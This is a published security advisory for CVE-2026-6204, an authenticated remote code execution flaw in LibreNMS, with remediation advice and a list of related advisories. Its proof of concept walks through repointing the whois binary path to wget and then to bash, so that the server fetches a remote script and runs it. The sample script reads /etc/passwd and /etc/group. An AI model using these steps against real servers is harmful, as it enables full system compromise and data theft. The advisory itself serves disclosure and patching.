CVE-2026-6204: LibreNMS is Vulnerable to Remote Code Execution by Arbitrary File Write
Summary A vulnerability has been identified that allows an authenticated administrator to execute arbitrary code on the host server. By modifying the binary path settings for built-in network tools and bypassing an input filter, an attacker with administrative privileges can download and execute malicious payloads.
Published Mar 26, 2026 · Updated Apr 14, 2026
Affected packages
librenms/librenms
- Ecosystem
- Composer (PHP)
- Affected
- >= 1.48, < 26.3.0
- Fixed in
- 26.3.0
- Check
composer show librenms/librenms
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
A vulnerability has been identified that allows an authenticated administrator to execute arbitrary code on the host server. By modifying the binary path settings for built-in network tools and bypassing an input filter, an attacker with administrative privileges can download and execute malicious payloads.
Details
The application allows administrative users to configure the absolute binary paths for network diagnostic tools at /settings/external/binaries. This setting does not sufficiently validate ensuring the paths remain restricted to safe, intended executables. These tools are invoked by sending a request to the GET /ajax/netcmd endpoint. While there is an existing input filter designed to restrict arguments to valid IP addresses or hostnames, this filter can be bypassed.
PoC
To reproduce this vulnerability, a remote HTTP server should be hosted with a malicious script/executable, ensure the remote server is reachable by the server running LibreNMS. The PoC will use the file malicious.sh containing the following content. It will return the content of /etc/passwd and /etc/group, current working directory, username that is running the script, and it will list files of the current directory.
#!/usr/bin/env bash
cat /etc/passwd
cat /etc/group
whoami
pwd
ls- Host a remote HTTP server that the server can reach and place the malicious script on the remote server. For demonstration, I will start it on localhost.
- Make sure the malicious script
malicious.shcan be downloaded.
- Login with an admin account and navigate to Global Settings -> External -> Binary Locations
- Change the whois binary path to the path of wget (e.g. /usr/bin/wget).
- Send the request
GET /ajax/netcmd?cmd=whois&query={remote http server's ip address}/malicious.sh. The response should contain wget's output, and malicious.sh would be downloaded by the server.
- After that, change the whois binary path to the path of bash (e.g. /bin/bash).
- Send the request GET /ajax/netcmd?cmd=whois&query=malicious.sh to execute the script.
Impact
This vulnerability allows a malicious actor to achieve Remote Code Execution (RCE), potentially leading to complete system compromise, data exfiltration, or lateral movement within the network.
Remediation Advice
Loading Binary Path from a config file instead of exposing settings in WebUI can eliminate this issue. If it is not possible, enforcing more validations and fix the ip_or_hostname bypass in https://github.com/librenms/librenms/blob/master/app/Providers/AppServiceProvider.php#L169 to reduce the risk of RCE.
Prerequisite
The attacker must have a valid Administrator account to exploit this vulnerability.
Credited to YuriNek0.
References
- https://github.com/librenms/librenms/security/advisories/GHSA-pr3g-phhr-h8fh
- https://github.com/librenms/librenms/blob/master/app/Providers/AppServiceProvider.php#L169
- https://nvd.nist.gov/vuln/detail/CVE-2026-6204
- https://projectblack.io/blog/librenms-authenticated-rce-and-xss/#binary-path-rce-poc
- https://github.com/advisories/GHSA-pr3g-phhr-h8fh
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Composer (PHP) vulnerabilities
All Composer (PHP) entriesGHSA-7w8c-qgxg-m7jx
LibreNMS — Stored XSS via SNMP/Syslog Data in Legacy Templates
high7.1Aug 26, 2026CVE-2026-55182
LibreNMS Vulnerable to Remote Code Execution by Signal Alert Transportation module
high8.6Aug 18, 2026GHSA-7cj5-v4pp-v632
LibreNMS: Stored XSS via graph_descr admin config settings echoed without escaping to all authenticated users
medium4.8Aug 18, 2026GHSA-7gww-x7fh-jf9j
LibreNMS: SSRF-driven stored XSS via Oxidized API response fields in device showconfig page
high8.1Aug 18, 2026GHSA-jf24-8g2h-2wg7
LibreNMS Vulnerable to Remote Code Execution via AboutController
medium6.4Aug 18, 2026CVE-2026-45694
LibreNMS: Reflected XSS via Proxmox instance/vmid GET parameters injected into document.title JavaScript assignment
medium5.4Aug 12, 2026
